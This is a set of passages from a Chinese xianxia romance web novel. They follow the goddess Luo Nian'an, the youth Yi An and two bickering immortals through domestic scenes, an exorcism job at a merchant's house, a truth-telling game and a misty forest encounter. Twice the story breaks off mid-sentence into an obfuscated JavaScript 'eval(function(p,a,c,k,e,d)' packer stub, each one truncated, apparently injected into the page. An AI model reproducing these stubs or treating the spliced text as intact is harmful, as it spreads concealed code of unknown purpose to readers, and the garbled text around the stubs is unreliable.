洛念安在酒精的刺激下还没发应过来来者是谁，却能够立即反驳道：“回家？我哪有家？” “有的，有家。”易桉道了一声：“姐姐，得罪。”便转过身子，将洛念安背起，一步一印，稳稳朝前走去。 洛念安趴在他的肩上，很长一段时间都是沉默着的。四周极静，静到都听不见易桉的脚步声，偶有风吹树叶沙沙作响。洛念安低声道：“是你啊。” 易桉轻声应着：“嗯，是我。” 又是很长时间的沉默，洛念安喃喃道：“易桉，没有人爱我。” 万物又归于寂静，连那偶起的风声都无踪影。洛念安趴在易桉的肩上，舒服的有些昏昏欲睡，意识消逝间，她听见有人说： “有的。” …… 第二日，洛念安头痛欲裂地醒来，懵然坐起身子，还在想她是谁她在哪，就见着灶台前那道修长身影，正弯着腰捣鼓着什么东西。他转身，看见洛念安，扬起笑容道：“姐姐，你醒啦。” 洛念安捂着脑袋，冲他笑笑，不太确定地问：“我昨日……醉酒了？” 易桉端着碗东西，走到洛念安面前，弯腰递给她，道：“是有一些，姐姐先把这碗粥喝了吧。” “谢谢。”洛念安伸手接过，眼神左右飘忽，低头抿了一小口粥，犹豫着问出口：“我昨日……没有做什么出格的事情或者说什么出格的话吧？” 易桉微微勾唇，道：“没有。” 他眼色浓郁，笑意明显不达眼底。洛念安一下子就感觉到他那一丝掺杂在笑中的不高兴，并且自然而然地往自己身上揽，她不太相信，小心反问：“真的吗？” 易桉又笑，这次笑的便有诚意许多：“姐姐放心，我不会骗你。” 他说的无比真诚，洛念安莫名觉得十分可信，便放下心来继续喝粥。喝了几口，她笑着对易桉道：“你的手艺当真不错。” “自是当真。”易桉笑着，又问：“姐姐中午想吃什么？我去做。” 他这么说，洛念安也就真的在思考自己想吃什么，然后脱口道：”我想吃辣椒炒肉。”说完，她又突然回过神来，发觉他们似乎才认识几天，却像相识很多年那般自然，她甚至没有觉得让易桉做饭给她吃有任何不妥之处。 易桉应得快：“好。” 洛念安想起昨日，问道：“我昨天炒的菜很辣吗？” “没有啊，”易桉摊手道：“不觉得。” 洛念安笑，眼睛亮晶晶的：“原来你也喜欢吃辣啊。” 易桉也跟着笑：“是啊，真巧。”说着他转身去忙，留下一句，“姐姐喝完粥放在床头桌上就好，待会我来收拾。” 洛念安应了一声，视线才落在床边不知道什么时候多出来的小木桌上，正好和床一般高，方便随手放置东西。那木桌上还放着一枝桂花，看起来像是新鲜采摘的，她还道怎的总是能闻到一股若有似无的桂花香呢。 她一手端着粥碗，一手覆上桌面，桌面打磨的甚是光滑，她又垂眸看着自己睡着的小床，其实这床也不算小了，睡她一人绰绰有余。她伸手摸向床头架，那边的每一根木头都被打磨的光滑无比，没有一点倒刺。洛念安心中甚觉欢喜，头似乎也没那么疼了，她又伸手去拿那一支桂花，送到鼻下细细嗅着，香气扑鼻，沁人心脾，令她心中更加欢喜了。洛念安看着易桉在灶台前忙碌的背影，虽是做着饭，却依旧有着一番优雅从容之态，她开口道：“这是你做的小桌吗？” “嗯，”易桉回过头来看了她一眼，见她侧坐在床上，一手端碗，一手握着支桂花，轻笑一声，道：“昨日姐姐走后，闲来无事做的。” 洛念安笑眯眯地：“做的真好，我很喜欢。” 等洛念安洗漱好，易桉已经摆好了饭菜，一道辣椒炒肉，一道青菜，主食是今日村民送来的馒头。 “姐姐，尝尝。”易桉递上筷子。 洛念安伸手接过，夹了一块肉送入口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柳渊“哦”了一声，垂眼瞥见她怀里的兔子：“你哪来的兔子？这么肥？烤着吃一定好吃。” 怀里的兔子似乎听懂了他的话，浑身一颤，连菜叶子也顾不得嚼了，在洛念安怀里蹭来蹭去。洛念安伸手顺着它的毛，轻声安抚它道：“不会烤你的，别怕。” 柳渊再次提议：“也可以红烧。” 洛念安婉拒道：“谢谢将军的提议，但是我并不打算吃它。” 二人聊得热火朝天，猛地发现赫连昭还杵在门口没进来。柳渊停下回头看他：“你怎么回事？进不进来啊？不是你非要死皮赖脸地跟着我来找念将军的吗？” 赫连昭瞪他：“我找她本来就是有事情。”说着又看向洛念安，梗着脖子，“你就是这样待客的吗？” “你是什么东西？还用特地招待你？” 三人齐齐往声源处看去，就见着易桉端着胳膊，倚在门边，眼神里的不屑和语气中的轻蔑毫不掩饰。 柳渊和赫连昭一看见他，登时齐齐变了脸色。柳渊一脚跨在洛念安身前，将她挡在身后，赫连昭动作也快，几步跨上来，拦在另一边，两人把洛念安挡了个严严实实。她还没搞清楚状况，就听见柳渊问道：“他是谁？” 洛念安诚实道：“他叫易桉。” 两人逼视着易桉，面色不善，几乎是同时化出法器，眼见着就要拔剑，洛念安忙放下兔子，冲到他们面前，慌忙摆手：“二位，二位，稍安勿躁，稍安勿躁。他是我新认识的朋友。” “朋友？”柳渊皱着眉：“我看他可不像好人。” 易桉面带微笑，笑的发冷，道：“我看你更不像好人。” “别别别，”洛念安在中间打圆场：“我说各位，先冷静一下，大家都是好人，都是好人！” 易桉看向洛念安，神情瞬变，一脸无害地抬手指着对面的两个人，道：“姐姐，他们是谁？他们手上的剑是哪里来的？好厉害啊。” 最后那句话夸的当真是毫无诚意。洛念安回头冲他笑，道：“别害怕，这二位是……我的同僚，找我可能有事相商。” 易桉点头，少年模样看着有几分乖巧。 洛念安转过头，见着柳渊还是瞪着易桉，咬牙道：“到底是谁在害怕？你看他那样子是害怕的样子吗？” 于是洛念安又回头去看，易桉正满面无辜地笑着看她。 她便转过头去，对柳渊道：“柳将军，他年纪小，你别吓到他。” 柳渊一下子炸毛了，他不可置信地看着洛念安，指着那边的易桉，竭声道：“他在装啊！他在装啊！你看不出来吗？”他又向赫连昭求证，“你看不出来吗？” 赫连昭倒是比他淡定，瞥了他一眼，道：“看出来了，不过没你能装。” 柳渊几乎要跳脚：“都什么时候了你还在这踩一捧一？！” 洛念安一手按着一把剑，无奈笑道：“我说二位，先把剑收收。易桉他真的是一位很好的人。咱们有话到屋里去说行吗？” 那头易桉已经转身回屋了。柳渊悄声对洛念安道：“念将军，你信我，我对危险的感知绝对准。他，绝对不像是好人。” 洛念安依旧笑着，温声道：“他真的是一位好人。或者，对我来说，他是好人。” 7. 四人行夜入九天郡 片刻后，柳渊和赫连昭鼻头眼睛红红地并坐在桌子一边。柳渊忍不住再次打了个喷嚏，终于问出声：“念将军，你家……辣椒罐子炸了啊？” 洛念安摆手，带着歉意笑道：“不好意思啊，只是我与易桉都喜欢吃辣，故而炒菜的时候多放了些。” “姐姐，”易桉胳膊支着桌子，手托着腮，道：“你的这些同僚好没礼貌，总是挑人吃饭的时候来。” 听他这么一说，洛念安才想起昨日锦和也是在他们正吃饭的时候过来的。她无奈笑笑，正欲开口替他们说说好话，就瞥见那头两人齐刷刷地瞪他，那神情几乎一模一样，又笑道：“你俩，还挺默契。” “谁跟他默契？！”两人同时开口，皆是一愣，互相瞪了一眼，别开头去。 洛念安轻笑几声，这么被打一岔，也就忘了要说好话这件事。她看向柳渊，问道：“所以柳将军找我可是有事？” 柳渊从袖中的乾坤袋内取出一个发黄的麻袋，放在桌子上，里面装着被一分为二的长枪。又取出一条血红色的长鞭，长鞭一松手便立即飞向洛念安，在她胳膊上绕了好几圈，扭来扭去。 洛念安伸手摸了摸它，轻声道：“好啦，这不是把你取回来了。” 柳渊愣了愣，扇子指着长鞭，睁大眼睛：“你这长鞭竟已生出灵识了吗？” 洛念安点头道：“对，它叫血光。” “血光？”柳渊微微撇嘴：“怎的起这么个血腥的名字？” 洛念安却只是笑，并不语。 赫连昭盯着那条长鞭，神情微变。 “怎么？眼熟？”易桉突然出声，冷冷地笑着，望着他。 赫连昭像是突然被戳中了什么心事，猛的别开视线，冷然道：“不熟，没见过。” 易桉哼笑一声，没再出声。 洛念安却是微微一愣，忙转了话题，对柳渊道：“柳将军是来给我送武器的啊，实在是感谢。” 柳渊丝毫没察觉这微妙的氛围，最后取出一把破旧的油纸伞放在桌子上，大声道：“是啊，昨日锦和派人取回来后找不到你，我就给送来了。哦对了，其实还有一件事情。” “请讲。” “锦和那边派给你了一项任务。”说着，他取出卷轴递给洛念安，继续道：“一位富商的请愿，供奉了许多功德。他说你还欠着账，若是解决了这一桩事情，便把所有功德算你头上。” 闻言洛念安搔了搔脸颊，不好意思地笑笑，要不是被他提起，她都差点要忘了自己还欠着巨额外债。忙道：“真是多谢了。” 柳渊接着道：“你先看看卷轴，看完我们好出发。” 洛念安看向他：“柳将军和我一同去？” “对啊，你第一次出任务，可能还不太熟练，我帮帮你。”柳渊展开扇子轻轻晃着，一脸“我在做好事”的神情，又补充道：“放心，我完全免费，不会和你分功德的。” 洛念安摆摆手：“这怎么好意思。” 赫连昭道：“有什么不好意思的？八十八万功德他根本没放在眼里，就你最穷，你还不好意思起来了。” 洛念安笑道：“原来大家都知道我欠了八十八万啊。” 他不说话还好，一说话，柳渊就看过去了，问他：“话说你来干什么来了？来了半天也不说。” “我，”赫连昭瞪他：“你管我干什么来了。” 柳渊扇子遮住半张脸，睁大眼睛看他：“你不会也是来帮忙的吧？” “怎么可能？！”赫连昭反驳的到快：“我那么忙怎么可能有闲工夫帮她的忙？！” 柳渊白了他一眼，扇子指了指还缠在洛念安胳膊上的鞭子：“真是有病。你比它还难缠。” “要你管。” 柳渊飞升前是黎元国名声赫赫的大将军，也是破了上阳国的将军。而赫连昭做为上阳国最后一位太子殿下，和柳渊在战场上就不对付，飞升后更是如此，他俩几乎是一见面就互呛，一直到今日，吵吵闹闹了几百年。 洛念安适应能力很好，已经习惯了。他们吵他们的，她看她的卷轴。她将卷轴摊开，手指上面的字，一列列地看下来，又莫名其妙地和易桉对上视线。 “姐姐要出什么任务？”易桉依旧是托着腮，眨着眼睛看她：“可以带上我吗？” 洛念安还未答话，就听见柳渊道：“带上你做什么？” 洛念安也觉得此行危险，出于易桉的安全考虑，她并不打算带上他。可是拒绝的话还没说出口，就听到易桉又道：“姐姐可能不知道，我从小就没怎么见过世面。” 听了这话，洛念安立马改口道：“好吧，那你要跟紧我，看见什么都不要害怕，我会保护好你的。” 易桉眨着眼，笑容晃人眼：“好～” 柳渊和赫连昭皆是一阵恶寒。柳渊躲在扇子后面，问赫连昭：“我记得人间最近新兴了一个词，叫什么来着？” 赫连昭垂着眼睛，谁也不看，答得很快：“绿茶。” “对，就是这个！他可真绿茶啊，念将军真看不出来吗？” 洛念安微笑道：“二位，若是要说他人坏话，我建议还是离远一些。虽然背后说人坏话不太好，但是当面说似乎更不好。” 两人齐齐看向洛念安，片刻后，她人就被拉到院中。 柳渊道：“你真打算带他啊？你看他哪里像没见过世面的样子？穿的比我都好！” 赫连昭附和：“就是。” 洛念安道：“家境好不代表见过鬼啊。” 柳渊恨铁不成钢：“我跟你说，他真的很不对劲。你看方才，我们说那些话，他竟然一点别的反应都没有。难道你没看出来吗？怎么打仗的时候我的战术策略你就能看的一清二楚？现在是怎么了？过了这么多年，脑子不好使了？老年痴呆了？” “你才老年痴呆。”这话是赫连昭对柳渊说的。 柳渊奇怪看他：“我又没说你。” 洛念安抬手制止他们，微笑道：“我看出来了啊。” 柳渊顿时如鲠在喉说不出话来，憋了半晌，憋出一句：“真是男色误事。”他说着，疯狂摇着扇子，看向旁边的赫连昭，“他长得有我好看吗？” 赫连昭瞥了他一眼，确切地说是白了他一眼，什么话都没说，不知道从哪翻出一面铜镜，直直递到他面前。 一切尽在不言中。 洛念安轻笑一声，转身准备往回走，却见着易桉倚在门边，冲她笑：“姐姐，我们何时出发？” 他倒真像是跟着出去玩的，满身轻松，甚至还有些隐隐地期待。洛念安经过他进了屋子，道：“我收拾一下，就出发了。”她来桌边，将油纸伞小心装进那个发黄的麻袋，背在身后，血光鞭已经缠在她的腰上。这些做好，她对易桉道，“走吧。” 两人出门，院中那二位还站在那里吵架。洛念安出声打断道：“二位先暂停一下，我们该去办正事了。” 等他们走过来，洛念安礼貌问道：“请问谁带我们走一下？地点九天郡。” 柳渊道：“你应该已经有法力了吧？”说完他看了易桉一眼。 洛念安笑着解释：“有是有，但可能不多。” 她话还没说完，赫连昭就已经开始结印了，等她说完，人已经出现在了九天郡的一个不知名的角落。天色发暗，四周一片寂静，突然响起两声抚掌声，然后就是易桉那毫无感情地一声：“好厉害。” 见他非要把“没见过世面”证实到底，柳渊默默翻了个白眼。 洛念安却笑着温声道：“就跟在我身边，注意安全。” 柳渊又是一记白眼飞出。 赫连昭不太高兴：“你老是白我做什么？” 柳渊这下才是真的在白他：“你怎么这么乐意往自己脸上贴金？” 那边吵的热火朝天，这边洛念安一手托起掌心焰，一手翻出卷轴，但是不太方便打开，于是易桉接住了卷轴的另一头，两人挨在一起研读起卷轴来。方才洛念安不知道被谁打断，没看完，只记住了个地名，现在才认真地看了看，发现其实根本也没什么内容。地点，请愿者，请愿者住址，没了。 洛念安和易桉对视一眼，无奈笑道：“看来只能先去打听一下了。” 易桉点头，收了卷轴。 洛念安对那边沉浸在二人世界的人道：“二位先暂停一下，我们现在要去找这位请愿者问些事情。” 真别说，那边吵得快，停得也快，说暂停就立马停下来了。柳渊围过来：“我们去哪？” “卷轴上说请愿者是当地的一位富商，姓宋。我们去打听打听吧，知道的人应该不少。” 说走就走，几人走出无人的小巷子。洛念安望了一眼昏暗的天，奇道：“这个时辰天不应该是这样暗的吧？” 柳渊晃着扇子道：“想来这物什道行不浅呐。” 洛念安听了这话，微微凝神，对身旁的易桉道：“要小心。” 毕竟这是她成神以来出的第一次任务，她可不希望有什么差池，更不想要去做文神一职。 柳渊随便捞来一位路人相问，四人很快站在宋宅前。这宅子恢宏气派，想来这宅子的主人确实是不差钱的主。只是那扇气派的大门上贴满了密密麻麻的辟邪符，倒是显得有些突兀，梁上挂着的又是桃木剑又是五帝钱，能辟邪的不能辟邪的都挂上去了，五花八门，想来真的是怕极了。 “他们到底是做了什么亏心事儿啊？”柳渊晃着扇子，笑道：“这么怕鬼敲门？” 易桉哼笑一声。柳渊就顺着看了过去，忽然扬声道：“不会有人要被拦在外面了吧？” 他们中间隔着一个洛念安，易桉没看他，只是道：“怎么？你是进不去吗？” 洛念安一边伸出一只手，让他们打住，然后道：“麻烦各位先去一旁等一下，我去问问情况。” 话音一落，易桉往右，柳渊和赫连昭往左，退到两侧打开大门不会被看见的地方。洛念安才上前，抬手敲门。半晌没人应声，她又敲了几下。 “谁啊？”是一道发颤的男声，却没人开门。 洛念安隔着门，温声道：“劳驾，我是奉命来办事的。” “女的？” 洛念安对着门微笑道：“是的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛念安觉得有些奇怪，但也没再继续问，因为阿夜已经带着他们来见所谓的老爷了。宋老爷挂着满脸的笑，照直越过洛念安走到易桉面前，伸出手，道：“欢迎仙人，欢迎仙人。” 易桉连瞥都没瞥他。 柳渊好心提醒他道：“你认错人了。” 宋老爷又挂着笑来到柳渊面前。 “……”柳渊叹气道：“你猜为何那位会走到最前面呢？” 宋老爷愣住，转而看向洛念安，眼里的惊疑一闪而过，很快就反应过来了，忙走到洛念安面前，道：“失敬失敬，原来是这位姑娘，姑娘真是年轻有为，巾帼不让须眉啊。” 要不说人家能赚大钱呢，脑子反应的就是快。 洛念安微笑道：“过奖。事不宜迟，麻烦宋老爷带我们去见见那位宋公子？” 宋老爷却是愣住了，脸上的笑也没了，半晌，重重叹了一声，道：“犬子他……恐惊扰诸位。” “无妨，”洛念安道：“我们需要了解一些具体情况。” 宋老爷犹豫片刻，抬手道：“诸位这边请。” 洛念安见到宋公子的时候，他正被手脚束缚地栓在床上，模样很是可怜，看样子正在睡觉。 宋老爷道：“午饭后，给他喂了安眠的汤药，睡下了。” 洛念安又看了一眼天色，现在应该正是午后不久，不应该如此昏暗以至于家家灯火通明。看来可能是有什么东西潜伏在这九天郡。洛念安低声问道：“所以，贵公子到底是出了何事？” 宋老爷将人带出房间，站在门外，沉吟许久，才道：“说来也不怕丢人。犬子正是在这房间出的事，发现他时他已经是昏迷不醒，而且……” 洛念安耐心等着下文。 宋老爷的神情看起来很是为难，还是继续道：“而且被割阉了。” “……” 洛念安身旁的三个男人莫名其妙地互相对视了一眼。洛念安为了展现出自己的专业，极力压下心中的尴尬，问道：“怎会如此？” 宋老爷摇摇头，继续道：“他醒来后，一直说‘还会来找他’，我请了人看，说是有东西缠上他了。给这座宅子布了些辟邪的阵，就让我们去请更厉害的仙人来。” 洛念安扭头往房间里看去，这间房间辟邪的布置确实更多，只是有些杂乱，反而很是奇怪。她正蹙着眉观察，就听见易桉嗤笑道：“你请的人，确实不怎么样。” 柳渊晃着扇子点头，意有所指，阴阳怪气道：“是啊，该防的根本没防住。” 宋老爷苦笑道：“所以这不就把诸位请来了嘛。” 洛念安回过神，对他道：“烦请把宅子里的这些东西撤了吧。我们会在这里等着那物什的出现。” 宋老爷却立马面露为难。随即就听见“嘭”的一声，众人纷纷往声源处看去，正是赫连昭一拳砸在身旁的立柱上，那根柱子登时四分五裂，碎了一地。好在这房子建造时没有偷工减料，不至于倒了一根柱子就要塌。 赫连昭吹了吹拳头上的灰，看向宋老爷：“还怀疑吗？” “……”洛念安扭过头，满是歉意道：“实在抱歉，我们会照价赔……” 宋老爷却是扬起一只手打断了洛念安的话，道：“我立马派人撤下所有的东西。稍后为各位准备好房间，还请各位稍作休息。” “不，”洛念安道：“只撤下一部分就够了。” 8. 戏游戏戏话真心话 四人围坐在房间的圆桌边。洛念安谢过上来为他们斟茶布糕点的阿夜，拾起瓷杯送到嘴边，抿了一口茶水。 “我总觉得他们似乎隐瞒了什么。”柳渊也端起茶水。 洛念安微微点头，道：“若真如他们所说是鬼类，那此鬼要么生前是宦官之类，要么……” 后面的话她没说出来，柳渊追问道：“要么什么？” 洛念安却只是笑了笑，道：“只是没有根据的猜测罢了，一切等遇到那东西，方见分晓。” 柳渊展开扇子：“那我们要在这里等多久啊？谁知道那东西什么时候会来。” 洛念安放下茶杯，道：“快了吧，看这天色，想来那东西一直潜伏在这周围。只是，这间宅子的布置虽然杂乱，但里面确实有几件厉害的东西，想来也是遭了那物的忌惮才迟迟不肯现身。如今把厉害的撤下，留下一些看起来吓人实则并没什么作用的东西，既不会让那物起疑心，又能够引得它现身。” 柳渊晃起了扇子，道：“原来如此。” 赫连昭瞥了他一眼，道：“只有你刚明白。” 柳渊斜眼睨他：“说的好像你很明白似的。” “她一早说的时候我就知道是何意了。”赫连昭这话带了一丝不易察觉的骄傲，是连他自己都没察觉到的不易。 柳渊“哼”了一声，道：“记得赔钱啊。” 赫连昭“哼”得更大声：“用得着你提醒？” “二位先别吵了，”洛念安谢过易桉递来的糕点，适时打断他们，提议道：“不如我们一起做些什么来打发时间吧。” 柳渊问：“做什么？” 洛念安竖起食指，微笑道：“刚好四个人，不如我们来打麻将？” 赫连昭蹙眉：“麻将？那是何物？” 柳渊嘲笑他：“这都不知道。” 赫连昭瞥他：“你会？” “我不会啊，”柳渊说得理所当然：“但是我听说过。” “没关系，”洛念安道：“我可以教大家，很好学的。”说着她又看向易桉，“你会吗？” 易桉笑道：“我可以学。我学东西很快的。” “好！”洛念安拍了一下手，道：“那现在，我们只缺一副麻将了。” “……” 柳渊被派去向主人家讨要麻将了。过了一会儿，他转回来，两手空空，摊手道：“问了，没有。现在也没人敢出大门。” 洛念安深感遗憾，道：“那好吧。那下次有机会再教大家吧。” 易桉望着她，刚要开口说话，就听见柳渊道：“麻将估计是玩不成了，不如我们来玩一个游戏，叫‘真心话’。” 赫连昭永远站在反驳他的一线位置，立马道：“什么无聊的东西，不玩。” 几乎是和他同时的，洛念安笑道：“好啊，听起来很有意思呢。” “……” 易桉胳膊支着桌子，手托着下巴，看了一眼赫连昭，道：“我说这位黄毛，你要是不想玩，你就出去待着。”然后他又转向洛念安，微笑着，“姐姐，我们玩儿。” 赫连昭：“……” “他什么不想玩啊，”柳渊坐下来，道：“他明明是心里有小秘密，他害怕不敢玩。” 赫连昭不服：“谁害怕？！” 柳渊开始晃扇子：“你害怕。” “玩就玩！谁怕谁啊！” 洛念安无奈扶额，这么多年了，赫连昭还是一点都没变。不过，也挺好的。 柳渊就揭起壶盖，上面有一个缺口，他道：“我现在来转壶盖，这个缺口对着谁，就是谁输了。谁输了就要回答一个问题，必须说真话，各位都是有头有脸的人物，一定要遵守规则啊。”说着他又看了一眼易桉，“不知道你是不是有头有脸的，但你也要遵守规则。” 易桉嗤笑，道：“你是看不见我的头和脸吗？” 洛念安出声打圆场，道：“放心吧柳将军，我们都会遵守规则的。” 其实从柳渊说了规则时，洛念安就心有预感，主要是在“看运气”这件事上，她实在是不太擅长。换言道，她的运气一向是不太好的。看到缺口正对着她时，洛念安露出了一个“果然”的微笑。 “我来问。”柳渊晃着扇子，笑嘻嘻的，目露八卦的精光：“念将军，你在人间这么多年，有没有心仪之人啊？” 话一出口，洛念安就感受到了身上聚集的三道视线，其中一道炽热灼烈，激得她有些微微的不自在。不过这个问题到不难，她微笑着摇头，道：“自是没有的。” 柳渊挑眉反问：“真的吗？” 赫连昭嫌弃地看他：“懂不懂门当户对？你以为像你一样挑都不挑？” 洛念安却是摆手，温声道：“倒不是因为这个。”说着她不小心瞥见一旁嘴角满是笑意的易桉，又忽然觉得有些难为情，垂下头，声音也低了，“这件事情还是要看缘分的吧。” 易桉眼神扫向柳渊，语气微冷：“差不多该闭嘴了。” 于是壶盖又开始转动。 “……” 柳渊收起扇子，眼中的幸灾乐祸掩都掩不住：“我说念将军，你这运气是真的好。” 洛念安无奈笑着：“过奖过奖。” 柳渊看向身旁的两人：“你们谁问啊？” 赫连昭垂着眼，不说话。 于是易桉眨着眼看着洛念安，他还是托着腮，笑吟吟问道：“姐姐，那日的月饼好吃吗？” “好吃啊。”洛念安下意识点头回答，答完她愣了愣，这就是他要问的问题吗？ 这个疑问也没停留多久，就听见易桉道：“我问完了。” 柳渊点评：“这个游戏要都像你这样玩，那还真是无趣极了。” 易桉微笑道：“要你管。” 洛念安轻声笑了笑，喝了口茶，道：“那我们继续吧。” 第三轮。总算不是轮到洛念安了。 众人的视线落在易桉身上，柳渊扇子一展，大声道：“都别急，我来问。” 赫连昭：“没人急，就你急。” 柳渊晃着扇子，故作深沉地盯着易桉，问道：“你到底是谁？” 易桉向后靠着椅子，架着胳膊，道：“你不知道吗？那我再自我介绍一下，我姓易，名桉。” “你知道我要问的不是这个。” “你的问题我已经回答完了。” 柳渊合了扇子：“你耍赖。” 易桉却是看向了洛念安，问道：“姐姐，我耍赖了吗？” 洛念安两边都看了一下，微笑道：“没有吧，你确实回答了他的问题啊。” 柳渊看着洛念安，不服气道：“你拉偏架。” 赫连昭忍无可忍道：“你能不能别整玩不起那出？自己问的有问题怪起别人来了。” 柳渊不可置信地看向他：“你到底是哪一边的？！” 赫连昭白了他一眼：“反正不是你这边的。” 洛念安见他们吵的正欢，主动伸手去转了那个壶盖，开启了这场游戏的第四轮。 然后成功让缺口指向了自己。 其实有时候她真的挺无语的，只能笑一笑算了。本以为无人在意，洛念安刚想重新转一轮，就听见易桉说：“该你了，给你个机会，你来问。” “……”她伸出去的手顿住，又悻悻地缩了回来。 赫连昭和洛念安对视一眼，视线在空气中相撞的刹那又同时挪开。洛念安垂下眸，伸手抓住眼前的瓷杯，在手上转了几圈，举起来喝了几口茶水，有点凉了。瓷杯又被放下，视线里多了一个壶嘴，再看去，是易桉正在给自己倒茶。洛念安小声道了谢，然后就听见沉默了半晌的赫连昭开口问道：“为什么？” 他这一句是挺没头没脑的。但洛念安却知道他在问什么。 柳渊这时候倒是安静了下来，喝着茶水一句话都不说。易桉盯着洛念安，也是一句话都不说。 空气又是一阵凝固。 洛念安轻叹一声，道：“已经过去很久了，不是吗？” “是！”赫连昭声音微扬：“若你死了也就罢了，但是你现在还活着！” 洛念安抿唇垂眸，半晌才只是道：“抱歉。” 赫连昭却是 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出现在他们眼前的是一个三岔路口，每一条都连接着未知和黑暗。 洛念安快速观察了一下四周，下了决定：“一人一侧，大家注意安全，保持通灵。”说完她就直直往前，往中间那条看起来更加阴森可怖的小道奔去。 柳渊和赫连昭对视一眼，也是一左一右，往深处去了。 洛念安一路向前，四周静悄悄的，偶有动物的叫声。走着走着，周围的迷雾愈大，渐渐的竟然三丈开外已经不能视物了。她警惕地停下脚步，立在原地，环顾四周，仔细辨别着细微的风吹草动。忽的，一片白茫中亮起一片红色，那是一双又一双的眼睛。那双双眼睛呈包围之势，缓缓逼近，等它们到了可视物的范围内，洛念安才发现竟是一群山中的精怪。这种精怪修为不高，一般不会为难人，但被缠上了当真是十分难缠，虽不禁打，但数量众多，源源不断喷涌而出，看来今日她的运气真是十分不好。 洛念安抽空通了个灵，柳渊给他们三人拉了一个阵，在阵内得知他那里遇到了群狼袭击，而赫连昭那里是一群毒蛇。 ……看来大家的境况都不怎么样。 “血光。” “咻”的一声，血光鞭从她腰间飞出。洛念安立在原地，法力波动激起的狂风吹得她发丝飘扬。面上带着的是一贯的微笑，她仍旧是温声细语，道：“统统，绞杀。” 血光鞭如其名，通体血红，只有手柄处为黑色，鞭身挂着倒刺，战斗状态时根根竖起，挥动时带着呼啸劲风。它以洛念安为中心，游走旋转，所到之处皆闻皮开肉绽之音。然而这些东西却是越打越多，不减反增，包围圈竟是越来越小。洛念安刚准备祭出龙吟枪加入战斗，上方却忽然出现一大片阴影，伴随着一声嘹亮的鹰啸。她抬头望去，只见一只巨鹰一飞而过，再低头，周围的精怪竟然都停了下来，下一瞬，一哄而散。速度快到血光还没来得及收鞭，一下子抽空在一旁的树干上，那大树登时拦腰截断，轰然倒地。 “念将军？你能听到吗念将军？” 周围雾色更浓，洛念安闭上眼，回到：“我在我在。” “听我说，”柳渊的语气很是焦急：“听我说，无论你现在在做什么，立刻马上抽身离开，快！” 洛念安不明所以，但出于某种心理又觉得那东西逃至这里不得不追查，询问道：“发生什么事情了？” 回话的是赫连昭，他的语气也较平时有许大的波动：“看见那只海东青了吗？知道它的主人是谁吗？太阴鬼王！这海东青出现在这里意味着太阴鬼王就在附近，若是这件事情与他有牵扯，那根本不是我们三人能够解决的，先撤退，回去……” 后面的话洛念安没听见，因为她察觉到周围有些细微的响动，倏地睁开眼，见着白雾中显现出一道修长的人影，心中登时警铃大作，一手挡在身前做防御之姿，另一手摸上身后的麻袋，准备随时祭出武器。 那身影却是在洛念安即将看清楚时突然停住，又转过身向前走去。洛念安想都不想，迈步冲了上去，却好像一步跨入更深的迷雾，四下一片白茫，什么都看不见了。 9. 深林路遇银面怪人 洛念安往前奔了几步，又停下，她闭上眼睛，直觉告诉她，她身边有东西靠近。但是没察觉出危险的气息，故而有一瞬间的迷茫。眉头越蹙越紧，忽地睁眼，视线里现出一只苍白而又修长的手，那手的食指带着指盖宽的银戒，上面刻着一串让人看不懂的字符，手腕处是银色护腕，花纹繁杂，坚固、冰冷。那只手递到洛念安面前，做出邀请之势。洛念安望着隐于白雾中的黑影，迟疑了一下，又鬼使神差地，缓缓伸出手，覆于那只手之上。 这手的温度和那银护腕是一样的，冰冷。 她被一股轻力带着向前迈出两步，一下就看清了隐在白雾中的身影，她几乎是下意识抬头，那人却被银面具遮住了大半张脸，只能看见那双带着笑意的眼睛和扬着笑的却没什么血色的薄唇。他一言不发，转身，牵着同样一语不发的洛念安向前。 洛念安微微落后于他，不动声色地观察着这个银面怪人。身量很高，比她要高出一头半的距离，卷发散落，随步履飘动。着黑衣，勾白边，绣金纹。转身前，颈上带着一圈叠一圈的银项圈，落至胸前，花纹照样繁复，吊着细小精致的银片，走起路来“叮叮”作响。 她的神经始终紧绷着，不敢松懈，就这样无甚言语地跟着他走出了很长一段距离，长到周身的迷雾尽数散去，身处一片暗黑的深林中。那人一步一步走的极其稳健，从容不迫，又带着千军万马的气势。不知道过了多久，洛念安才发现他们身边不知从何时起跟了一群小动物，有小兔子，有小狐狸，有小猫咪，还有一只不大点儿的小梅花鹿。它们安静地跟在他们身后，洛念安却注意到了落在自己身上的带着好奇的视线。她觉得很是惊奇，以至于有些忘了自己目前正身陷于何种境地。直到她看见前面有一列堆积起来的怪石，才回过神，神色微凝，那是一个阵。 洛念安刚准备有所动作，身旁的银面人已经一脚踏过，那怪石堆登时倒塌，这阵法也在同一时间失去效力，就这样被破了。 洛念安睁大眼睛，太过惊讶以至于忘了反应，傻傻呼被牵着继续往前走。一路上脑中的疑问不断：“这人把这阵破了？这阵多半是那物什防身所布，那他就不是布阵之人，也就不是那作恶之物。那这人是谁？为何会出现在这里？又为何要牵着我一直走？既然能轻易破了阵法，想必也不是等闲之辈，那……”她另一只手不动声色地摸上血光鞭，心道，“不如先开打再说！” “咻”的一声，血光飞出，直直往那银面人身上甩去，一鞭子下去，等来的不是躲避也不是反击，血鞭划过之处，飞起一片泛着灵光的白色花瓣，那人也在这花瓣雨中消失不见。 “……”洛念安愣在原地，抬眸望着这场浪漫至极的花雨，抬手，一片花瓣轻轻落在手中，她细细一看，喃喃自语道：“白玉兰花？”而那片花瓣只是停留了几瞬，便化作灵光，散去了。她回头看，跟在身后的动物们不知何时也已不见，一点痕迹都没有，仿佛方才的一切都是在迷雾中出现的幻觉。 